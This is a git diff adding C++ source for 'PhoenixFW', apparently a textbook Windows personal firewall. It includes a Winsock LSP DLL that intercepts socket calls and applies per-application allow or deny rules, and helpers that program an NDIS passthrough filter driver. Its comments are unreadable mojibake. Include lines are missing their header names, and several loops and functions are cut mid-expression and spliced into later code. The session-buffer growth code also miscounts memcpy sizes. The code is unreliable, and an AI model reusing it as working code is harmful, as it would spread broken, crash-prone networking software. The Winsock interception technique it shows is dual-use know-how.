OnAutostart(); + afx_msg void OnPassAll(); + afx_msg void OnQueryAll(); + afx_msg void OnDenyAll(); + virtual BOOL OnInitDialog(); + afx_msg void OnKerpassAll(); + afx_msg void OnKerstartFilter(); + //}}AFX_MSG + DECLARE_MESSAGE_MAP() + +}; + +//{{AFX_INSERT_LOCATION}} +// Microsoft Visual C++ will insert additional declarations immediately before the previous line. + +#endif // !defined(AFX_SYSSETPAGE_H__A58C43DD_CA34_4ED5_AD7A_C0BAC9B95BED__INCLUDED_) diff --git "a/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/PhoenixFW/_desktop.ini" "b/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/PhoenixFW/_desktop.ini" new file mode 100644 index 0000000..18aa814 --- /dev/null +++ "b/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/PhoenixFW/_desktop.ini" @@ -0,0 +1 @@ +2006/10/15 \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/PhoenixFW/prule.fnk" "b/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/PhoenixFW/prule.fnk" new file mode 100644 index 0000000..8424a0a Binary files /dev/null and "b/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/PhoenixFW/prule.fnk" differ diff --git "a/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/PhoenixFW/ptutils.cpp" "b/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/PhoenixFW/ptutils.cpp" new file mode 100644 index 0000000..394a2f9 --- /dev/null +++ "b/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/PhoenixFW/ptutils.cpp" @@ -0,0 +1,223 @@ + +#include "stdafx.h" + +#include +#include +#include +#include + +#include "IOCOMMON.h" +#include "ptutils.h" + + +HANDLE PtOpenControlDevice() +{ + // ´ò¿ªµ½Çý¶¯³ÌÐòËù¿ØÖÆÉ豸µÄ¾ä±ú + HANDLE hFile = ::CreateFile( + _T("\\\\.\\PassThru"), + GENERIC_READ | GENERIC_WRITE, + 0, + NULL, + OPEN_EXISTING, + FILE_ATTRIBUTE_NORMAL, + NULL); + + return hFile; +} + +HANDLE PtOpenAdapter(PWSTR pszAdapterName) +{ + // ´ò¿ª¿ØÖÆÉ豸¶ÔÏó¾ä±ú + HANDLE hAdapter = PtOpenControlDevice(); + if(hAdapter == INVALID_HANDLE_VALUE) + return INVALID_HANDLE_VALUE; + + + // È·¶¨ÊÊÅäÆ÷Ãû³ÆµÄ³¤¶È + int nBufferLength = wcslen((PWSTR)pszAdapterName) * sizeof(WCHAR); + + // ·¢ËÍIOCTL_PTUSERIO_OPEN_ADAPTER¿ØÖÆ´úÂ룬´ò¿ªÊÊÅäÆ÷ÉÏÏÂÎÄ + DWORD dwBytesReturn; + BOOL bOK = ::DeviceIoControl(hAdapter, IOCTL_PTUSERIO_OPEN_ADAPTER, + pszAdapterName, nBufferLength, NULL, 0, &dwBytesReturn, NULL); + // ¼ì²é½á¹û + if(!bOK) + { + ::CloseHandle(hAdapter); + return INVALID_HANDLE_VALUE; + } + return hAdapter; +} + +BOOL PtAdapterRequest(HANDLE hAdapter, PPTUSERIO_OID_DATA pOidData, BOOL bQuery) +{ + if(hAdapter == INVALID_HANDLE_VALUE) + return FALSE; + // ·¢ËÍIOCTL + DWORD dw; + int bRet = ::DeviceIoControl( + hAdapter, bQuery ? IOCTL_PTUSERIO_QUERY_OID : IOCTL_PTUSERIO_SET_OID, + pOidData, sizeof(PTUSERIO_OID_DATA) -1 + pOidData->Length, + pOidData, sizeof(PTUSERIO_OID_DATA) -1 + pOidData->Length, &dw, NULL); + + return bRet; +} + +// + +// ²éѯÍøÂç»î¶¯×´Ì¬ +BOOL PtQueryStatistics(HANDLE hAdapter, PPassthruStatistics pStats) +{ + ULONG nStatsLen = sizeof(PassthruStatistics); + BOOL bRet = ::DeviceIoControl(hAdapter, + IOCTL_PTUSERIO_QUERY_STATISTICS, NULL, 0, pStats, nStatsLen, &nStatsLen, NULL); + + return bRet; +} + +// ÖØÖÃͳ¼ÆÊý×Ö +BOOL PtResetStatistics(HANDLE hAdapter) +{ + DWORD dwBytes; + BOOL bRet = ::DeviceIoControl(hAdapter, + IOCTL_PTUSERIO_RESET_STATISTICS, NULL, 0, NULL, 0, &dwBytes, NULL); + return bRet; +} + +// ÏòÊÊÅäÆ÷Ìí¼ÓÒ»¸ö¹ýÂ˹æÔò +BOOL PtAddFilter(HANDLE hAdapter, PPassthruFilter pFilter) +{ + ULONG nFilterLen = sizeof(PassthruFilter); + BOOL bRet = ::DeviceIoControl(hAdapter, IOCTL_PTUSERIO_ADD_FILTER, + pFilter, nFilterLen, NULL, 0, &nFilterLen, NULL); + return bRet; +} + +// Çå³ýÊÊÅäÆ÷ÉϵĹýÂ˹æÔò +BOOL PtClearFilter(HANDLE hAdapter) +{ + DWORD dwBytes; + BOOL bRet = ::DeviceIoControl(hAdapter, + IOCTL_PTUSERIO_CLEAR_FILTER, NULL, 0, NULL, 0, &dwBytes, NULL); + return bRet; +} + +////////////////////////////////////////////////////////// + +BOOL CIMAdapters::EnumAdapters(HANDLE hControlDevice) +{ + DWORD dwBufferLength = sizeof(m_buffer); + BOOL bRet = ::DeviceIoControl(hControlDevice, IOCTL_PTUSERIO_ENUMERATE, + NULL, 0, m_buffer, dwBufferLength, &dwBufferLength, NULL); + if(!bRet) + return FALSE; + + // ±£´æÊÊÅäÆ÷ÊýÁ¿ + m_nAdapters = (ULONG)((ULONG*)m_buffer)[0]; + + // ÏÂÃæ´Óm_bufferÖлñÈ¡ÊÊÅäÆ÷Ãû³ÆºÍ·ûºÅÁ¬½ÓÃû³Æ + // Ö¸ÏòÉ豸Ãû³Æ + WCHAR *pwsz = (WCHAR *)((ULONG *)m_buffer + 1); + int i = 0; + m_pwszVirtualName[i] = pwsz; + while(*(pwsz++) != NULL) + { + while(*(pwsz++) != NULL) + { ; } + + m_pwszAdapterName[i] = pwsz; + + while(*(pwsz++) != NULL) + { ; } + + if(++i >= MAX_ADAPTERS) + break; + + m_pwszVirtualName[i] = pwsz; + } + + return TRUE; +} + + + +// ÉèÖÃIMÇý¶¯µÄ¹ýÂ˹æÔò +BOOL IMSetRules(PPassthruFilter pRules, int nRuleCount) +{ + BOOL bRet = TRUE; + // ´ò¿ªPassThruExÇý¶¯µÄ¿ØÖÆÉ豸¶ÔÏó£¬Ã¶¾Ùϲã°ó¶¨ + HANDLE hControlDevice = PtOpenControlDevice(); + CIMAdapters adapters; + if(!adapters.EnumAdapters(hControlDevice)) + return FALSE; + + // ½«¹ýÂ˹æÔòÉèÖõ½Ã¿¸öϲãÊÊÅäÆ÷ + HANDLE hAdapter; + int i, j; + for(i=0; i +#include +#include +#include + +#include "../common/debug.h" + +#include "Acl.h" + + +/////////////////////////////////////// +// ¹²ÏíÄÚ´æ + +// ËùÓÐʹÓÃWinsock·ÃÎÊÍøÂçµÄÓ¦ÓóÌÐò¶¼¹²ÏíinitdataºÍuinitdata¶ÎµÄ±äÁ¿ +#pragma data_seg(".initdata") +HWND g_hPhoenixWnd = NULL; // Ö÷´°¿Ú¾ä±ú +UCHAR g_ucWorkMode = PF_PASS_ALL; // ¹¤×÷ģʽ +#pragma data_seg() + +#pragma bss_seg(".uinitdata") +RULE_ITEM g_Rule[MAX_RULE_COUNT]; // Ó¦Óòã¹æÔò +ULONG g_RuleCount; +QUERY_SESSION g_QuerySession[MAX_QUERY_SESSION]; // ÏòÖ÷³ÌÐò·¢ËͻỰѯÎÊʱʹÓà +SESSION g_SessionBuffer[MAX_SESSION_BUFFER]; // ÏòÖ÷³ÌÐò·¢ËͻỰÐÅϢʱʹÓà +TCHAR g_szPhoenixFW[MAX_PATH]; // ¼Ç¼Ö÷³ÌÐò·¾¶ +#pragma bss_seg() + + +extern TCHAR g_szCurrentApp[MAX_PATH]; + +CRITICAL_SECTION g_csGetAccess; + + + +CAcl::CAcl() +{ + m_nSessionCount = 0; + // Ϊ»á»°½á¹¹Ô¤ÉêÇëÄÚ´æ¿Õ¼ä + m_nSessionMaxCount = INIT_SESSION_BUFFER; + m_pSession = new SESSION[m_nSessionMaxCount]; + + ::InitializeCriticalSection(&g_csGetAccess); +} + +CAcl::~CAcl() +{ + ODS(L" CAcl::~CAcl send CODE_APP_EXIT ... "); + // ֪ͨÖ÷Ä£¿é£¬µ±Ç°Ó¦ÓóÌÐòÕýÔÚÍ˳ö + int nIndex = CreateSession(0, 0); + NotifySession(&m_pSession[nIndex], CODE_APP_EXIT); + + delete[] m_pSession; + ::DeleteCriticalSection(&g_csGetAccess); +} + +///////////////////////////////////////////////////////// +// ¼ì²éº¯Êý + +void CAcl::CheckSocket(SOCKET s, int af, int type, int protocol) +{ + if (af != AF_INET) // ½öÖ§³ÖIPv4 + return; + + // ÏÈÅжϻù±¾Ð­ÒéÀàÐÍ + + int nProtocol = RULE_SERVICE_TYPE_ALL; + + if(protocol == 0) + { + if(type == SOCK_STREAM) + nProtocol = RULE_SERVICE_TYPE_TCP; + else if(type == SOCK_DGRAM) + nProtocol = RULE_SERVICE_TYPE_UDP; + } + else if(protocol == IPPROTO_TCP) + nProtocol = RULE_SERVICE_TYPE_TCP; + else if(protocol == IPPROTO_UDP) + nProtocol = RULE_SERVICE_TYPE_UDP; + + // ΪÐÂÌ×½Ú×Ö´´½¨»á»°£¬Ö¸Ã÷ЭÒéÀàÐÍ + CreateSession(s, nProtocol); +} + +void CAcl::CheckCloseSocket(SOCKET s) +{ + // ɾ³ý»á»° + DeleteSession(s); +} + +void CAcl::CheckBind(SOCKET s, const struct sockaddr *addr) +{ + int nIndex; + if((nIndex = FindSession(s)) >= m_nSessionCount) + return; + + // ÉèÖûỰ + sockaddr_in *pLocal = (sockaddr_in *)addr; + m_pSession[nIndex].usLocalPort = ntohs(pLocal->sin_port); + + if(pLocal->sin_addr.S_un.S_addr != ADDR_ANY) + m_pSession[nIndex].ulLocalIP = *((DWORD*)&pLocal->sin_addr); +} + + +int CAcl::CheckAccept(SOCKET s, SOCKET sNew, sockaddr FAR *addr) +{ + int nIndex; + if((nIndex = FindSession(s)) >= m_nSessionCount) + return PF_PASS; + + nIndex = CreateSession(sNew, RULE_SERVICE_TYPE_TCP); + + // ÉèÖûỰ + if(addr != NULL) + { + sockaddr_in *pRemote = (sockaddr_in *)addr; + USHORT usPort = ntohs(pRemote->sin_port); + DWORD dwIP = *((DWORD*)&pRemote->sin_addr); + SetSession(&m_pSession[nIndex], usPort, dwIP, RULE_DIRECTION_IN_OUT); + } + + return GetAccessInfo(&m_pSession[nIndex]); +} + +int CAcl::CheckConnect(SOCKET s, const struct sockaddr FAR *addr) +{ + int nIndex; + if((nIndex = FindSession(s)) >= m_nSessionCount) + return PF_PASS; + + // ÉèÖûỰԶ³ÌµØÖ· + sockaddr_in *pRemote = (sockaddr_in *)addr; + USHORT usPort = ntohs(pRemote->sin_port); + DWORD dwIP = *((DWORD*)&pRemote->sin_addr); + SetSession(&m_pSession[nIndex], usPort, dwIP, RULE_DIRECTION_IN_OUT); + + return GetAccessInfo(&m_pSession[nIndex]); +} + +int CAcl::CheckSendTo(SOCKET s, const SOCKADDR *pTo) +{ + int nIndex; + if((nIndex = FindSession(s)) >= m_nSessionCount) + return PF_PASS; + + if(pTo != NULL) + { + // ÉèÖûỰԶ³ÌµØÖ· + sockaddr_in *pRemote = (sockaddr_in *)pTo; + USHORT usPort = ntohs(pRemote->sin_port); + DWORD dwIP = *((DWORD*)&pRemote->sin_addr); + SetSession(&m_pSession[nIndex], usPort, dwIP, RULE_DIRECTION_OUT); + } + + return GetAccessInfo(&m_pSession[nIndex]); +} + +int CAcl::CheckRecvFrom(SOCKET s, SOCKADDR *pFrom) +{ + int nIndex; + if((nIndex = FindSession(s)) >= m_nSessionCount) + return PF_PASS; + + if(pFrom != NULL) + { + // ÉèÖûỰԶ³ÌµØÖ· + sockaddr_in *pRemote = (sockaddr_in *)pFrom; + USHORT usPort = ntohs(pRemote->sin_port); + DWORD dwIP = *((DWORD*)&pRemote->sin_addr); + SetSession(&m_pSession[nIndex], usPort, dwIP, RULE_DIRECTION_IN); + } + return GetAccessInfo(&m_pSession[nIndex]); +} + + +///////////////////////////////////////////////////////////// +// ²é¿´·ÃÎÊȨÏÞ + + +int CAcl::GetAccessInfo(SESSION *pSession) +{ + // Èç¹ûÊÇÖ÷Ä£¿é·ÃÎÊÍøÂ磬·ÅÐÐ + if(wcsicmp(g_szCurrentApp, g_szPhoenixFW) == 0) + { + return PF_PASS; + } + + // ÏȲ鿴¹¤×÷ģʽ + int nRet; + if((nRet = GetAccessFromWorkMode(pSession)) != PF_FILTER) + { + ODS(L" GetAccessInfo return from WorkMode \n"); + return nRet; + } + + // ¹¤×÷ģʽΪ¹ýÂË£¬Ôò°´ÕÕÎļþÖмǼµÄ¹æÔò¹ýÂËÖ® + ::EnterCriticalSection(&g_csGetAccess); + + RULE_ITEM *pItem = NULL; + int nIndex = 0; + nRet = PF_PASS; + while(TRUE) + { + // Èç¹û²»ÊǵÚÒ»´Î²éѯ£¬Ôò¼Ó1£¬±ÜÃâ²éÕÒÏàͬµÄ¹æÔò + if(nIndex > 0) + nIndex++; + + nIndex = FindRule(g_szCurrentApp, nIndex); + if(nIndex >= (int)g_RuleCount) + { + if(pItem == NULL) // Ò»¸ö¼Ç¼ÏîҲûÓУ¬Ôò²éѯ + { + // ѯÎÊÖ÷Ä£¿éÔõô°ì + if(!QueryAccess()) + { + nRet = PF_DENY; + } + break; + } + else // °´ÕÕÉÏÒ»¸ö¼Ç¼Ïî´¦Àí + { + if(pItem->ucAction != RULE_ACTION_PASS) + { + nRet = PF_DENY; + } + break; + } + } + + ODS(L" Find a rule in GetAccessInfo "); + // ²é¿´¹æÔòºÍ»á»°µÄÊôÐÔÊÇ·ñÒ»Ö + pItem = &g_Rule[nIndex]; + // ·½Ïò + if(pItem->ucDirection != RULE_DIRECTION_IN_OUT && + pItem->ucDirection != pSession->ucDirection) + continue; + // ·þÎñÀàÐÍ + if(pItem->ucServiceType != RULE_SERVICE_TYPE_ALL && + pItem->ucServiceType != pSession->nProtocol) + continue; + // ·þÎñ¶Ë¿Ú + if(pItem->usServicePort != RULE_SERVICE_PORT_ALL && + pItem->usServicePort != pSession->usRemotePort) + continue; + // ³ÌÐòÔËÐе½ÕâÀ˵Ã÷ÕÒµ½ÁËÒ»¸öºÍ»á»°ÊôÐÔÍêÈ«ÏàͬµÄ¹æÔò + if(pItem->ucAction != RULE_ACTION_PASS) + { + nRet = PF_DENY; + } + break; + } + ::LeaveCriticalSection(&g_csGetAccess); + + if(nRet == PF_PASS) + pSession->ucAction = RULE_ACTION_PASS; + else + pSession->ucAction = RULE_ACTION_DENY; + return nRet; +} + +int CAcl::GetAccessFromWorkMode(SESSION *pSession) +{ + if(g_ucWorkMode == PF_PASS_ALL) + return PF_PASS; + + if(g_ucWorkMode == PF_DENY_ALL) + return PF_DENY; + + if(g_ucWorkMode == PF_QUERY_ALL) + return PF_FILTER; + + return PF_UNKNOWN; +} + +int CAcl::FindRule(TCHAR *szAppName, int nStart) +{ + // ´ÓÖ¸¶¨Î»ÖÿªÊ¼²éÕÒ£¬·µ»Ø¹æÔòµÄË÷Òý + int nIndex; + for(nIndex = nStart; nIndex < (int)g_RuleCount; nIndex++) + { + if(wcsicmp(szAppName, g_Rule[nIndex].szApplication) == 0) + break; + } + return nIndex; +} + +BOOL CAcl::QueryAccess() +{ + ODS(L" QueryAccess ... "); + + // ·¢ËÍÏûÏ¢ + for(int i=0; i 3000) // µÈ5·ÖÖÓ£¬Èç¹ûÓû§»¹²»¾ö¶¨£¬¾Í½ûÖ¹ + return FALSE; + ::Sleep(100); + } + + if(g_QuerySession[i].nReturnValue == 0) + return FALSE; + return TRUE; + } + } + // ÓÃÍêÁË + return FALSE; +} + + +///////////////////////////////////////////////////////////////////////////////////// +// »á»°²Ù×÷ + +int CAcl::CreateSession(SOCKET s, int nProtocol) +{ + for(int i=0; i= m_nSessionMaxCount) // ÒѾ­´ïµ½×î´óÊýÁ¿ + { + SESSION *pTmp = new SESSION[m_nSessionMaxCount]; + memcpy(pTmp, m_pSession, m_nSessionMaxCount); + + delete[] m_pSession; + m_pSession = new SESSION[m_nSessionMaxCount*2]; + + memcpy(m_pSession, pTmp, m_nSessionMaxCount); + delete[] pTmp; + m_nSessionMaxCount = m_nSessionMaxCount*2; + } + // ³õʼ»¯ÐµĻỰ + InitializeSession(&m_pSession[m_nSessionCount]); + // ÉèÖûỰÊôÐÔ + m_pSession[m_nSessionCount].s = s; + m_pSession[m_nSessionCount].nProtocol = nProtocol; + wcscpy(m_pSession[m_nSessionCount].szPathName, g_szCurrentApp); + m_nSessionCount++; + + ODS1(L" CreateSession m_nSessionCount = %d \n", m_nSessionCount); + // ·µ»Ø»á»°Ë÷Òý + return m_nSessionCount - 1; +} + +void CAcl::InitializeSession(SESSION *pSession) +{ + memset(pSession, 0, sizeof(SESSION)); + pSession->ucDirection = RULE_DIRECTION_NOT_SET; + pSession->ucAction = RULE_ACTION_NOT_SET; +} + +void CAcl::DeleteSession(SOCKET s) +{ + for(int i=0; iucDirection = ucDirection; + if((pSession->usRemotePort != usRemotePort) || (pSession->ulRemoteIP != ulRemoteIP)) + { + // ¸ù¾ÝÔ¶³Ì¶Ë¿ÚºÅÉèÖÃÔ¶³Ì·þÎñÀàÐÍ + if(pSession->nProtocol == RULE_SERVICE_TYPE_TCP) + { + if(usRemotePort == RULE_SERVICE_PORT_FTP) + pSession->nProtocol = RULE_SERVICE_TYPE_FTP; + else if(usRemotePort == RULE_SERVICE_PORT_TELNET) + pSession->nProtocol = RULE_SERVICE_TYPE_TELNET; + else if(usRemotePort == RULE_SERVICE_PORT_POP3) + pSession->nProtocol = RULE_SERVICE_TYPE_POP3; + else if(usRemotePort == RULE_SERVICE_PORT_SMTP) + pSession->nProtocol = RULE_SERVICE_TYPE_SMTP; + else if(usRemotePort == RULE_SERVICE_PORT_NNTP) + pSession->nProtocol = RULE_SERVICE_TYPE_NNTP; + else if(usRemotePort == RULE_SERVICE_PORT_HTTP) + pSession->nProtocol = RULE_SERVICE_TYPE_HTTP; + } + + // ÉèÖÃÆäËü + pSession->usRemotePort = usRemotePort; + pSession->ulRemoteIP = ulRemoteIP; + + // ֪ͨÖ÷³ÌÐò + NotifySession(pSession, CODE_CHANGE_SESSION); + } +} + +int CAcl::FindSession(SOCKET s) +{ + int i=0; + for(i; ipRuleFile->header.ulLspRuleCount <= MAX_RULE_COUNT) + { + g_RuleCount = pIoControl->pRuleFile->header.ulLspRuleCount; + memcpy(g_Rule, pIoControl->pRuleFile->LspRules, g_RuleCount * sizeof(RULE_ITEM)); + } + } + break; + case IO_CONTROL_SET_WORK_MODE: // ÉèÖù¤×÷ģʽ + { + g_ucWorkMode = pIoControl->ucWorkMode; + } + break; + case IO_CONTROL_GET_WORK_MODE: // »ñÈ¡¹¤×÷ģʽ + { + return g_ucWorkMode; + } + break; + case IO_CONTROL_SET_PHOENIX_INSTANCE: // ÉèÖÃÖ÷Ä£¿éÐÅÏ¢ + { + g_hPhoenixWnd = pIoControl->hPhoenixWnd; + wcscpy(g_szPhoenixFW, pIoControl->szPath); + } + break; + case IO_CONTROL_GET_SESSION: // »ñÈ¡Ò»¸ö»á»° + { + *pIoControl->pSession = g_SessionBuffer[pIoControl->nSessionIndex]; + // ±êʶÒѾ­²»ÔÙʹÓÃÕâ¸ö³ÉÔ±ÁË + g_SessionBuffer[pIoControl->nSessionIndex].s = 0; + } + break; + case IO_CONTROL_SET_QUERY_SESSION: // ·µ»ØDLLѯÎʵĽá¹û + { + g_QuerySession[pIoControl->nSessionIndex].nReturnValue = pIoControl->ucWorkMode; + // ±êʶÒѾ­²»ÔÙʹÓÃÕâ¸ö³ÉÔ±ÁË + g_QuerySession[pIoControl->nSessionIndex].bUsed = FALSE; + } + break; + case IO_CONTROL_GET_QUERY_SESSION: // »ñÈ¡·¢³öѯÎʵĻỰ + { + wcscpy(pIoControl->szPath, g_QuerySession[pIoControl->nSessionIndex].szPathName); + } + break; + } + return 0; +} + + + + + + + + + + + + +/* + + + + +int CAcl::CheckSend(SOCKET s, const char *buf, DWORD dwTransed) +{ + int nIndex; + if(nIndex = FindSession(s) >= m_nSessionCount) + return PF_PASS; + + + return GetAccessInfo(&m_pSession[nIndex]); +} + int CheckSend(SOCKET s, const char *buf, DWORD dwTransed); + int CheckRecv(SOCKET s, const char *buf, DWORD dwTransed); +int CAcl::CheckRecv(SOCKET s, const char *buf, DWORD dwTransed) +{ + int nIndex; + if(nIndex = FindSession(s) >= m_nSessionCount) + return PF_PASS; + + return GetAccessInfo(&m_pSession[nIndex]); +} + + +BOOL CAcl::IsLocalIP(DWORD dwIP) +{ + if(dwIP == 0 || ((BYTE*)&dwIP)[3] == 127) + return TRUE; + return FALSE; +} + + // ±£³ÖÏß³Ìͬ²½£¬Ê×Ïȼì²éÓÐûÓÐÆäËüÏß³ÌÕýÔÚ·¢ËÍÕâ¸öѯÎÊ + for(int i=0; i 3000) // µÈ5·ÖÖÓ£¬Èç¹ûÓû§»¹²»¾ö¶¨£¬¾Í½ûÖ¹ + return FALSE; + ::Sleep(100); + } + + if(g_QuerySession[i].nReturnValue == 0) + return FALSE; + return TRUE; + } + } + */ diff --git "a/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/PhoenixLSP/Acl.h" "b/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/PhoenixLSP/Acl.h" new file mode 100644 index 0000000..5384044 --- /dev/null +++ "b/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/PhoenixLSP/Acl.h" @@ -0,0 +1,69 @@ +/////////////////////////////////////////////// +// Acl.hÎļþ + + + + + +#include "../common/PMacRes.h" + +#include "../common/TypeStruct.h" + + + +// Ϊÿ¸öÌ×½Ú×Ö´´½¨Ò»¸öSession check access list CPCheckAccess + +class CAcl +{ +public: + CAcl(); + ~CAcl(); + + // Ì×½Ú×ֵĴ´½¨Óë¹Ø±Õ£¬¶ÔÓ¦×ÅSessionµÄ´´½¨Óë¹Ø±Õ + void CheckSocket(SOCKET s, int af, int type, int protocol); + void CheckCloseSocket(SOCKET s); + void CheckBind(SOCKET s, const struct sockaddr *addr); + + // ²é¿´»á»°ÊÇ·ñÔÊÐí£¨»á»°µÄÔ¶³Ì·þÎñÐÅÏ¢£© + int CheckAccept(SOCKET s, SOCKET sNew, sockaddr FAR *addr); + int CheckConnect(SOCKET s, const struct sockaddr FAR *addr); + + int CheckSendTo(SOCKET s, const SOCKADDR *pTo); + int CheckRecvFrom(SOCKET s, SOCKADDR *pFrom); + +private: + // ÉèÖûỰµÄÊôÐÔ + void SetSession(SESSION *pSession, + USHORT usRemotePort, ULONG ulRemoteIP, UCHAR ucDirection); + // ÏòÓ¦ÓóÌÐò֪ͨһ¸ö»á»° + void NotifySession(SESSION *pSession, int nCode); + + int GetAccessInfo(SESSION *pSession); + int GetAccessFromWorkMode(SESSION *pSession); + + + // ÔÚ¹æÔòÎļþÖвéÕÒÖ¸¶¨³ÌÐòµÄ¹ýÂ˹æÔò + int FindRule(TCHAR *szAppName, int nStart); + + + // ·µ»ØË÷Òý + int CreateSession(SOCKET s, int nProtocol); + + void DeleteSession(SOCKET s); + + void InitializeSession(SESSION *pSession); + + int FindSession(SOCKET s); + + + + + + + SESSION *m_pSession; + int m_nSessionCount; + int m_nSessionMaxCount; + + static BOOL QueryAccess(); + static BOOL IsLocalIP(DWORD dwIP); +}; \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/PhoenixLSP/PhoenixLSP.cpp" "b/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/PhoenixLSP/PhoenixLSP.cpp" new file mode 100644 index 0000000..b852c25 --- /dev/null +++ "b/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/PhoenixLSP/PhoenixLSP.cpp" @@ -0,0 +1,530 @@ +// PhoenixLSP.cpp : Defines the entry point for the DLL application. +// + +// ÉùÃ÷ҪʹÓÃUNICODE×Ö·û´® +#define UNICODE +#define _UNICODE + +#include +#include +#include +#include +#include +#include + +#include "PhoenixLSP.h" + +#include "../common/Debug.h" +#include "../common/PMacRes.h" +#include "Acl.h" + +#pragma comment(lib, "Ws2_32.lib") + + +CAcl g_Acl; // ·ÃÎÊÁÐ±í£¬ÓÃÀ´¼ì²é»á»°µÄ·ÃÎÊȨÏÞ + +WSPUPCALLTABLE g_pUpCallTable; // Éϲ㺯ÊýÁÐ±í¡£Èç¹ûLSP´´½¨ÁË×Ô¼ºµÄα¾ä±ú£¬²ÅʹÓÃÕâ¸öº¯ÊýÁбí +WSPPROC_TABLE g_NextProcTable; // ϲ㺯ÊýÁбí +TCHAR g_szCurrentApp[MAX_PATH]; // µ±Ç°µ÷Óñ¾DLLµÄ³ÌÐòµÄÃû³Æ + + +BOOL APIENTRY DllMain( HANDLE hModule, + DWORD ul_reason_for_call, + LPVOID lpReserved + ) +{ + switch (ul_reason_for_call) + { + case DLL_PROCESS_ATTACH: + { + // È¡µÃÖ÷Ä£¿éµÄÃû³Æ + ::GetModuleFileName(NULL, g_szCurrentApp, MAX_PATH); + } + break; + } + return TRUE; +} + +int WSPAPI WSPStartup( + WORD wVersionRequested, + LPWSPDATA lpWSPData, + LPWSAPROTOCOL_INFO lpProtocolInfo, + WSPUPCALLTABLE UpcallTable, + LPWSPPROC_TABLE lpProcTable +) +{ + ODS1(L" WSPStartup... %s \n", g_szCurrentApp); + + if(lpProtocolInfo->ProtocolChain.ChainLen <= 1) + { + return WSAEPROVIDERFAILEDINIT; + } + + // ±£´æÏòÉϵ÷Óõĺ¯Êý±íÖ¸Õ루ÕâÀïÎÒÃDz»Ê¹ÓÃËü£© + g_pUpCallTable = UpcallTable; + + // ö¾ÙЭÒ飬ÕÒµ½Ï²ãЭÒéµÄWSAPROTOCOL_INFOW½á¹¹ + WSAPROTOCOL_INFOW NextProtocolInfo; + int nTotalProtos; + LPWSAPROTOCOL_INFOW pProtoInfo = GetProvider(&nTotalProtos); + // ϲãÈë¿ÚID + DWORD dwBaseEntryId = lpProtocolInfo->ProtocolChain.ChainEntries[1]; + int i=0; + for(i; i= nTotalProtos) + { + ODS(L" WSPStartup: Can not find underlying protocol \n"); + return WSAEPROVIDERFAILEDINIT; + } + + // ¼ÓÔØϲãЭÒéµÄDLL + int nError; + TCHAR szBaseProviderDll[MAX_PATH]; + int nLen = MAX_PATH; + // È¡µÃϲãÌṩ³ÌÐòDLL·¾¶ + if(::WSCGetProviderPath(&NextProtocolInfo.ProviderId, szBaseProviderDll, &nLen, &nError) == SOCKET_ERROR) + { + ODS1(L" WSPStartup: WSCGetProviderPath() failed %d \n", nError); + return WSAEPROVIDERFAILEDINIT; + } + if(!::ExpandEnvironmentStrings(szBaseProviderDll, szBaseProviderDll, MAX_PATH)) + { + ODS1(L" WSPStartup: ExpandEnvironmentStrings() failed %d \n", ::GetLastError()); + return WSAEPROVIDERFAILEDINIT; + } + // ¼ÓÔØϲãÌṩ³ÌÐò + HMODULE hModule = ::LoadLibrary(szBaseProviderDll); + if(hModule == NULL) + { + ODS1(L" WSPStartup: LoadLibrary() failed %d \n", ::GetLastError()); + return WSAEPROVIDERFAILEDINIT; + } + + // µ¼ÈëϲãÌṩ³ÌÐòµÄWSPStartupº¯Êý + LPWSPSTARTUP pfnWSPStartup = NULL; + pfnWSPStartup = (LPWSPSTARTUP)::GetProcAddress(hModule, "WSPStartup"); + if(pfnWSPStartup == NULL) + { + ODS1(L" WSPStartup: GetProcAddress() failed %d \n", ::GetLastError()); + return WSAEPROVIDERFAILEDINIT; + } + + // µ÷ÓÃϲãÌṩ³ÌÐòµÄWSPStartupº¯Êý + LPWSAPROTOCOL_INFOW pInfo = lpProtocolInfo; + if(NextProtocolInfo.ProtocolChain.ChainLen == BASE_PROTOCOL) + pInfo = &NextProtocolInfo; + + int nRet = pfnWSPStartup(wVersionRequested, lpWSPData, pInfo, UpcallTable, lpProcTable); + if(nRet != ERROR_SUCCESS) + { + ODS1(L" WSPStartup: underlying provider's WSPStartup() failed %d \n", nRet); + return nRet; + } + + // ±£´æϲãÌṩÕߵĺ¯Êý±í + g_NextProcTable = *lpProcTable; + + // ´«¸øÉϲ㣬½Ø»ñ¶ÔÒÔϺ¯ÊýµÄµ÷Óà + lpProcTable->lpWSPSocket = WSPSocket; + lpProcTable->lpWSPCloseSocket = WSPCloseSocket; + lpProcTable->lpWSPBind = WSPBind; + lpProcTable->lpWSPAccept = WSPAccept; + lpProcTable->lpWSPConnect = WSPConnect; + lpProcTable->lpWSPSendTo = WSPSendTo; + lpProcTable->lpWSPRecvFrom = WSPRecvFrom; + + FreeProvider(pProtoInfo); + return nRet; +} + + + +SOCKET WSPAPI WSPSocket( + int af, + int type, + int protocol, + LPWSAPROTOCOL_INFOW lpProtocolInfo, + GROUP g, + DWORD dwFlags, + LPINT lpErrno +) +{ + // Ê×Ïȵ÷ÓÃϲ㺯Êý´´½¨Ì×½Ú×Ö + SOCKET s = g_NextProcTable.lpWSPSocket(af, type, protocol, lpProtocolInfo, g, dwFlags, lpErrno); + if(s == INVALID_SOCKET) + return s; + + // µ÷ÓÃCAclÀàµÄCheckSocketº¯Êý£¬ÉèÖûỰÊôÐÔ + if (af == FROM_PROTOCOL_INFO) + af = lpProtocolInfo->iAddressFamily; + if (type == FROM_PROTOCOL_INFO) + type = lpProtocolInfo->iSocketType; + if (protocol == FROM_PROTOCOL_INFO) + protocol = lpProtocolInfo->iProtocol; + + g_Acl.CheckSocket(s, af, type, protocol); + + return s; +} + +int WSPAPI 